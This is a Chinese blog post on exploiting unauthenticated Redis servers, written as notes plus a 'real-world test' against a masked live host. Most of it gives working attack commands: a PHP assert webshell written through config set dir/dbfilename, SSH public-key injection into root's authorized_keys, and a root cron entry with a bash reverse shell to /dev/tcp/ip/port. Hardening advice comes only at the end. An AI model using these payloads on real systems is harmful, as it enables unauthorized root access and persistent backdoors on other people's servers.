[渗透测试]Redis未授权访问漏洞利用

偶然发现某大佬博客说了一下Redis的漏洞,便整理了一下笔记,并做了实战测试

0x00 笔记

1.写入webshell
dir=绝对路径
dbfilename="1.php"

2.写入ssh公钥匙
本机生成公钥 sshssh-keygen -t rsa -C "test@test"
dir=/root/.ssh/
dbfilename=authorized_keys

\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n


3.写入定时任务,反弹shell
dir=/var/spool/cron
dbfilename=root
set crack "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"

0x01 实战测试

使用redisk客户端链接远程主机6379端口

redis-cli -h xxx.xxx.xxx.xxx -p 6379

IP打码了(这码打得不错吧)

拿WEBSHELL过程:

config set dir 网站绝对路径
config set dbfilename info.php    //设置info.php为备份文件
set web '<?php assert($_POST[x]); ?>'    //写入一句话到info.php
save     //保存,然后即可通过菜刀url链接info.php即可

最后Getshell:

0x0000 补充

ssh-keygen -t rsa
    输入保存路径
    输入密码:dyboy
    重复输入密码:dyboy
     saved in /root/.ssh/id_rsa.
     key has been saved in /root/.ssh/id_rsa.pub.

将公钥写入foo.txt
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

执行命令:
cat /tmp/foo.txt |  /usr/redis/redis-cli -h 172.16.12.2 -p 6379 -x set crackit
    回显OK

连接主机,进入shell:
/usr/redis/redis-cli -h 172.16.12.2 -p 6379


config set dir /root/.ssh/

config set dbfilename "authorized_keys"

save

exit


通过ssh链接主机
ssh root@172.16.12.2 -p 22 -i ~/.ssh/id_rsa

修复方法:

修复建议/安全建议

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务

Redis 服务创建单独的用户和家目录,并且配置禁止登陆

$ groupadd -r redis && useradd -r -g redis redis

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加 requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

5.保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys`

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./sshimmutable 位权限:

# chattr +i ~/.ssh`

注意: 如果需要添加新的公钥,需要移除 authorized_keysimmutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

发表评论 / Comment

用心评论~

金玉良言 / Appraise
DYBOY站长已认证
2019-09-23 10:02
此战当时是一个TP站,上线还未关闭调试模式,通过访问404页面,直接显示了物理路径